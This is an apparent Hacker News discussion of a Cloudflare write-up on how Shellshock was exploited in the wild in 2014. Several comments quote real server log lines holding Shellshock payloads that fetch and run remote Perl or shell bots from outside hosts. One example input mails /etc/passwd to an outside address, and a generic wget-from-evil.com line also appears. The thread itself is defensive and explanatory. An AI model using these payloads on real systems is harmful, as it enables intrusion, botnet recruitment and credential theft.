
Inside Shellshock: How hackers are using it to exploit systems - jgrahamc
https://blog.cloudflare.com/inside-shellshock/
======
guylhem
It is in the wild. As seen on my machine, on a domain name that I use only for
email at the moment:

XXX.access.log:174.143.168.121 - - [30/Sep/2014:12:40:21 -0400] "GET //cgi-
bin/bash HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget
ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm
-rf /tmp/.apache\x22"

The payload is a perl script, which I posted to
[http://pastebin.ca/2850380](http://pastebin.ca/2850380)

I suggest the utmost caution. I am emailing the domain owner to warn about
what is being done (as the most likely is this poor chap domain was exploited,
since it shows a Plesk page)

EDIT: email text (feel free to copy and paste if you see similar things in
your logs)

Dear XXX,

I found your email as the contact for the domain YYYY.

I noticed just a few minutes ago that your server was being used to try and
attack my server, by spreading a program designed to take control of machines
vulnerable to what is called the "shellshock bug"

This malicious program has been hosted on a file publically accessible using
[http://XXXXX/legend.txt](http://XXXXX/legend.txt)

I strongly recommand you get in touch with your administrator or whoever is
maintaining your machine to let them know that. Just removing the file may not
be enough, as your server must have been "infected" in some way for that to
happen without you knowing.

Sorry to be the bearer of bad news, but I believe I should let you know ASAP,
as I would certainly appreciate being warned should the situation have been
reversed :-(

Sorry, Charles

EDIT2: if you want to discuss the code,
[https://news.ycombinator.com/item?id=8392666](https://news.ycombinator.com/item?id=8392666)

~~~
meowface
"In the wild" is an understatement; at the current moment the scanning traffic
is nearly worm-level (though this is not nearly as wormable as some of the
classic worms of olde). Within about an hour of the first public disclosure,
bots started scanning for it: some white hat, others not so much. Big websites
are seeing scans from bots run by 50 or more different unrelated entities at
the moment. It's really easy for just about anyone to hack together a quick
script that scans for and exploits this vulnerability.

This is not to fear monger though: for 99.9% of web applications out there,
the scans will not find anything vulnerable to Shellshock. Unless you're
running a CGI app, you generally won't have to worry from a web app
perspective even if you are vulnerable. You may have to worry if you host a
Git or SVN repo, or expose a mail daemon, etc.

It's nice of you to inform the admin but unfortunately compromised servers
running Plesk have been used to serve malware for many years now. You will
find tens of thousands out there on the web, many probably abandoned and
forgotten by their owners.

~~~
doctorshady
Are the bots scanning for anything besides HTTP-based Shellshock
vulnerabilities?

------
pja
I'm seeing exploit attempts against some very rarely used cgi programs that I
happen to have installed: Clearly there are people out there who have trawled
the entirety of the open source archives looking for potentially exploitable
cgi scripts and are directly targeting hosts where those scripts can be found.
Presumably they're using Google or other search engines to obtain lists of
potentially exploitable hosts for a given vulnerable cgi script.

In this specific case, the exploit route is via the darcsweb.cgi python script
which calls os.popen4() which in turn spawns /bin/sh. If /bin/sh had been bash
it would have been all over for my server. This is not a cgi script in wide
use (Debian popularity contest says that 22 people have installed it &
registered with popcon!) yet it's still worth poking my server, which implies
to me that this is an automated search of all the exploitable code they've
found.

There's no security in obscurity here...

~~~
Someone1234
They're likely Googling stuff like: "darcsweb filetype:cgi" Or just
"filetype:cgi"

Interestingly Bing is either blocking "filetype:cgi" or their filetype moniker
just doesn't work very well (I am actually leaning more towards the latter
after some additional testing).

Ditto with DDG, their filetype: filter just doesn't work at all.

~~~
hyyypr
Shodan[1] does just this. I guess script kiddies all around the world are
abusing it.

[1]:[http://shodanhq.com/search?q=cgi](http://shodanhq.com/search?q=cgi)

------
danielweber
Long ago writing testing exploits on a Solaris machine, I'd use the payload of
"/sbin/eject" because it was very simple to see if the attack succeeded. No
need to look through logs; just see the cup-holder open up obediently. So the
opening really took me back.

~~~
mturmon
The simplicity of this one has made it entertaining to watch. It's easy to
follow the storyline of probes, exploits, and patches. And everyone has bash,
so we can play along at home. ;-)

------
morgante
Perhaps someone could enlighten me, but even after reading this and several
other articles about Shellshock I really don't understand why we should be so
concerned.

As I understand it, user input somehow has to make its way to a shell for
Shellshock to matter. I honestly can't imagine why 99.9999% of websites would
ever do that—even without Shellshock, it sounds _horribly_ insecure and
dangerous to let user input anywhere near a shell.

Yes, I do know that cgi-bins are vulnerable, but is that surprising or
concerning? I fully expect 1990s technology to be riddled with
vulnerabilities.

Heartbleed was scary because modern, highly secure websites were vulnerable.
Is that even remotely the case with Shellshock?

~~~
lutusp
> Perhaps someone could enlighten me, but even after reading this and several
> other articles about Shellshock I really don't understand why we should be
> so concerned.

Definitely read on.

> Heartbleed was scary because modern, highly secure websites were vulnerable.
> Is that even remotely the case with Shellshock?

Yes, because if Bash were sufficiently secure, then setting the value of an
environment variable would be benign and harmless. If, on the other hand, bash
executes arbitrary code while setting the value of an environment variable,
this can cause a common and well-understood safe action to become
extraordinarily dangerous. Consider this imaginary example at a website:

Enter name --

First: John

Last: Smith

Not much excitement here, unless Bash has the Shellshock vulnerability, in
which case:

Enter name --

First: () { :;}; cat /etc/passwd | mail hacker@somewhere.com

Here's why this is dangerous -- the file /etc/passwd is locally world-
readable, which ordinarily doesn't matter because an outsider can't either
read it or export it to another place. But if this sensitive file could be
exported to another place (and if it has the content this file ordinarily
doesn't have in modern times), its contents could be decoded very rapidly
without any multi-second pauses between tries or lockouts after several failed
attempts such as are normal in a hacker's login attempt.

One method for breaking into a system is to get a copy of /etc/passwd that can
then be read over and over again at high speed, then submit the file to a
password cracking program. Such a program requires a _local copy_ of
/etc/password to succeed, and the above hack provides it.

BTW I tested the above hack and it would work, if (1) a CGI script is written
in a particularly careless way (no input sanitizing in place), and if (2)
/etc/passwd had the content it had several years ago before this specific
attack method became obvious.

~~~
morgante
You didn't address my concerns at all. I fully understand why Shellshock is
incredibly dangerous if user input can make its way to a shell.

My question was why any reasonably designed modern web app would _ever_ have
user input anywhere near a shell. That seems like an incredibly insecure thing
and I've yet to hear a single example of why any app built in the last decade
would do so.

~~~
lutusp
> You didn't address my concerns at all.

You asked a question, I provided the answer and example code _to the actual
question that you asked_.

> My question was why any reasonably designed modern web app would ever have
> user input anywhere near a shell.

Shall I post the same answer again? Not all modern web apps guard against the
kind of extreme vulnerability that Shellshock represents, and that no
reasonable person would expect to exist.

> ... and I've yet to hear a single example of why any app built in the last
> decade would do so.

I gave you an example that is typical of many CGI scripts that exist, now, in
reality, and that are perfectly safe as long as Bash is safe. The reason is
that variable assignment _normally_ belongs in a different category than code
execution. The Shellshock bug mixes variable assignment with code execution,
something no reasonable person could be expected to anticipate.

~~~
morgante
> You asked a question, I provided the answer and example code to the actual
> question that you asked.

No, you must emphatically _did not_.

This is the question I asked:

> Heartbleed was scary because modern, highly secure websites were vulnerable.
> Is that even remotely the case with Shellshock?

Put more clearly, I was asking for an example of a modern, well-developed
website which would be vulnerable to Shellshock. (I don't think anyone would
characterize CGI scripts as modern.) Your question didn't get anywhere _near_
providing that.

I don't need a condescending explanation of _why_ Shellshock is bad if you
open a shell. I need an explanation (preferably with an example of actual
code) of why somebody is actually shelling out in a modern web app.

Put another way, Shellshock could literally cause a computer to explode
anytime a shell is opened from the app. This doesn't change my opinion that
there's no reason modern websites are opening shells—and nothing you've said
provides evidence of that.

~~~
lutusp
> This doesn't change my opinion that there's no reason modern websites are
> opening shells—and nothing you've said provides evidence of that.

What? Evidence of your opinion? I live in reality, one not informed by
opinions, and there are plenty of sites that were designed to be secure, but
that didn't anticipate something like Shellshock -- many existing PHP pages,
as just one example.

Setting environment variables is very common, and safe if the shell is safe,
because a sound shell won't do anything with an environment variable setting
action beyond setting an environment variable.

Consider a prudent design that sanitizes the entry to limit itself to an
alphanumeric variable name and a value provided by the user, as in my example.
The left-hand side of the assignment is not an issue because the program
checks its content for malicious intent. The right-hand side is safe if Bash
is safe. If Bash is safe and if rudimentary precautions are taken, any
variable-assigned text string is benign.

Not so for Shellshock, which is why it caused such consternation among Website
operators.

Here's an online reference that makes the same points I do, and even uses the
same example of reading /etc/passwd:

[https://blog.cloudflare.com/inside-
shellshock/](https://blog.cloudflare.com/inside-shellshock/)

~~~
xorcist
> many existing PHP pages, as just one example.

Not really. Deploying PHP with CGI is very uncommon, as we've seen from the
fallout from CVE-2012-1823 which was a much worse bug. Anything vulnerable to
that has the potential of being vulnerable again, but that wasn't what you
would think of as web applications: some embedded web interfaces, some really
bad control panels, that sort of thing.

------
jdp23
I'm curious, has anybody reported seeing these signatures from before the bug
was published?

~~~
click170
I imagine a truly successful attack would involve clearing the logs of any
footprints that we would be looking for. But worth checking anyway for those
sloppy folks.

------
bjnord
Searching for ":;" in my Apache logs, I'm definitely seeing some hits --
although the majority are security organizations doing wide scans to see how
many systems are vulnerable.

~~~
ralphc
"() { :;}; /bin/bash -c \"wget
[http://stablehost.us/bots/regular.bot](http://stablehost.us/bots/regular.bot)
-O /tmp/sh;curl -o /tmp/sh
[http://stablehost.us/bots/regular.bot;sh](http://stablehost.us/bots/regular.bot;sh)
/tmp/sh;rm -rf /tmp/sh\"" I have several lines like this in my logs. So I
guess that someone tried (or succeeded) to download a script to my machine,
run it & delete it? I think this could have happened before I patched &
rebooted. How worried should I be?

~~~
ralphc
Did some searching, looks like it tries to set up a botnet. One of the things
this does is install nmap; the machine doesn't have nmap on it, makes me feel
better.

------
segmondy
That /^cleanlogs/ just made me cringe. Holy crap.

~~~
unfamiliar
I feel like there should be some way to verify that logs have not been
tampered with. For example, including a checksum of the file up until that
point on each line. Unfortunately they could just be rewritten after the log
has changed. The only real solution I can see is a dedicated logging server,
giving true write-only or append-only access.

~~~
segmondy
As far back as the 90's, I remember the log cleaners would only clean what
they touched, so say utmp, read the structure and find all the time the user
logged in and remove only this records. This one is wiping everything, you
will know your logs have been tampered with, you won't have any logs. lol

------
skeoh
> (I've omitted the deeply technical explanations of why () { :; }; makes bash
> behave like this for the sake of clarity in this essay.)

Can anybody point me to a good explanation of ShellShock's technical details?

~~~
yeahforbes
In bash, function definitions can be exported via environment variables; in
handling that bash also executes whatever immediately follows the function
definition; Apache sets environment variables (without sanitizing them for the
above) based on incoming HTTP request headers which are controlled by end user
clients.

Because this functionality in bash predated Apache, it could be argued that
Apache ought to perform sanitization before setting env vars from user input
given that bash might execute it, but on the other hand bash's ability for
_data_ to be executed as _code_ was pretty much undocumented and is now
considered the bug.

Wikipedia has a good explanation at
[http://en.wikipedia.org/wiki/Shellshock_(software_bug)](http://en.wikipedia.org/wiki/Shellshock_\(software_bug\))

~~~
TeMPOraL
> _but on the other hand bash 's ability for data to be executed as code was
> pretty much undocumented and is now considered the bug._

From the article you linked:

> _Since Bash is both a command interpreter and a command, it is possible to
> execute Bash from within Bash. When this happens, the original instance can
> export environment variables and function definitions into the new
> instance.[16] Function definitions are exported by encoding them within the
> environment variable list as variables whose values begin with parentheses (
> "()") followed by a function definition. The new instance of Bash, upon
> starting, scans its environment variable list for values in this format and
> converts them back into internal functions._

I had this strange feeling after reading this, that it's been long time since
people worked with low-level code. It's like the difference between method
dispatch in C++ and, say, Python. In the latter, it's magic, it works and you
don't care. In the former, it's part of basic language knowledge to understand
how virtual methods are implemented by a hack involving pointers to arrays of
function pointers (aka. vtables).

~~~
fragmede
> In the former, it's part of basic language knowledge to understand how
> virtual methods are implemented

Since when? While Hex-ray's IDA let me dig into exactly how vtables work, it's
not like you even need to have heard of how vtables before you can stick the
word 'virtual' in the right place for you code to do what you want.

Similarly: If you're a long-time Python programmer, and have never looked into
the internals, it's a good exercise. There's a (in CPython) CALL_FUNCTION
instruction that PyEval_EvalFrameEx (in Python/ceval.c) dispatches that (and,
well, all) opcodes. And... and... It's not magic, yes it does work, I don't
know if you care, I certainly do.

If you want to be ignorant of the lower-levels of code, Python certainly makes
it easier (strings are an easy-to-use built-in language feature? madness!),
but let's not pretend every programmer who has ever touched C++ has heard of
vtables.

------
leoh
Great article. I'm surprised there were no examples of fork bombs in the DOS
section, though : )
[http://en.m.wikipedia.org/wiki/Fork_bomb](http://en.m.wikipedia.org/wiki/Fork_bomb)

~~~
d4mi3n
Not much point in killing a computer you've just unlocked for yourself. Much
more profitable to use it as a spam node or launching platform for TCP/UDP/DNS
DDOS attacks.

~~~
cesarb
Killing the computer is an easy way to prevent _other_ people from "using it
as a spam node or launching platform". I can easily see some misguided gray
hat forkbombing exploitable servers to prevent their use by blackhats. Which
is why I, too, expected to see the classical bash fork bomb being used in
these attacks.

The DoS using "sleep 20", however, sounds like the kind of thing some people
consider "harmless fun" (like the many people using LOIC some time ago); it
takes the site down, but does no permanent damage and clears itself after a
while.

------
smtddr
118.192.48.6 - - [28/Sep/2014:20:30:22 +0000] "GET /cgi-bin/authLogin.cgi
HTTP/1.1" 404 767 "[http://www.baidu.com"](http://www.baidu.com") "() { :; };
echo X-Bash-Test: `echo iOGFtdnW7o`;"

My app runs on bottlepy.org, so I assume I'm not at risk? I don't do any
popen() stuff.

~~~
barosl
Even if you use popen() or system() in your application, Debian/Ubuntu
machines are not affected. These distributions don't use bash for /bin/sh.
`dash`(Debian ash) is used instead.

Good work, Debian!

~~~
nitrogen
Debian has lots of Bash scripts in /usr/bin. Make sure you aren't indirectly
using any of them. Or just patch Bash.

~~~
xorcist
Yeah, that's an important point to stress:

Whether you have been vulnerable to this bug or not is important -- for the
decision to wipe and reinstall.

It's not important for the decision to patch, which should be done everywhere
possible.

------
acbart
So I'm not very knowledgeable about WebSec stuff. Why aren't more servers
getting pounded by this, if it's such a big vulnerability? I expected reports
of massive password and SSN reveals all over, but I haven't heard of any major
spills. Am I just not in the right circles, or is there a reason an outbreak
hasn't occurred?

~~~
jgrahamc
My take is that what's happening right now is mass reconnaissance. Since the
Shellshock problem will only occur on sites (or specific pages) where bash is
invoked it's necessary to go round and figure out what's vulnerable.

I'd guess that blackhats and whitehats are all out building those lists of
vulnerable machines. They can then go back and exploit them en masse later.

~~~
meowface
I know you wrote this article, but I'm going to have to disagree with you.
Many of the bots have payloads that look like "wget
[http://evil.com/script.pl](http://evil.com/script.pl) -O /tmp/script; perl
/tmp/script; rm /tmp/script". There is no reason for them to do reconnaisance
when they can have arbitrary code execution simultaneously.

There aren't going to be that many popped servers because the number of
Internet-facing web apps that use CGI + have bash as /bin/sh or call bash
explicitly is not all that high, though it is still high enough to build a
considerable botnet. The other issue is that they need to find a code path in
a CGI app that calls out to bash, while many of the bots so far seem a bit
naive in their crawling (excluding the ones targeting specific appliances and
panels). A request to a hypothetical /cgi-bin/status.cgi may not do anything,
but what they don't realize is that status.cgi?details=1 may call
system("date") and then give them RCE.

~~~
jgrahamc
Understood. I based the claim that it was mostly reconnaissance right now on
the fact that 83% of all the requests we were seeing were reconnaissance and
not dropping malware. But, I agree, there is a lot of malware being dropped as
well.

~~~
meowface
My organization has mostly been seeing more reconnaissance than actual code
execution as well. I suspect, or perhaps just hope, that this is because most
of the current scanning is being done by white hats/gray hats. I suspect the
people who actually want to infect machines aren't bothering with
reconnaissance.

------
fragmede
Is anyone seeing any _interesting_ payloads with this? Most of what I've seen
are perl script CnC bots, with no actual binaries. The closest I've seen is a
binary payload which was just for CnC with some hardcoded c2 IPs from China.

------
ChuckMcM
_" On Sunday, after studying the extent of the problem, and looking at logs of
attacks stopped by our WAF, we decided to roll out protection for our Free
plan customers as well."_

I am glad they made that call. Thanks Cloudflare.

------
mobiplayer
Is it not a common assumption to think attacker's are not using the User-Agent
header to attack? It is logged by default in Apache and nginx as far as I
know. Why wouldn't you mask your attacks using another header? Cookies anyone?

------
yeahforbes
Excellent so far, although I've always thought of the entire interactive
userland as the shell -- not only CLI, but also GUI, as each wraps the kernel
on sort of the same plane.

~~~
Anthony-G
That would be my understanding as well, e.g. On Microsoft operating systems,
the primary shell is Windows Explorer.

Congrats to Cloudflare on this write-up. It’s interesting to have actual
figures and a breakdown on how Shellshock is being exploited in the wild.
Kudos for explaining the vulnerability in simple terms that a non-CLI user
should be able to understand.

------
spindritf
_these requests were coming from France (80%)_

Let me guess, OVH?

~~~
aroch
Online.net (ponytelecom.eu) seems to be the new favorite since OVH at least
makes a vague attempt to prevent it.

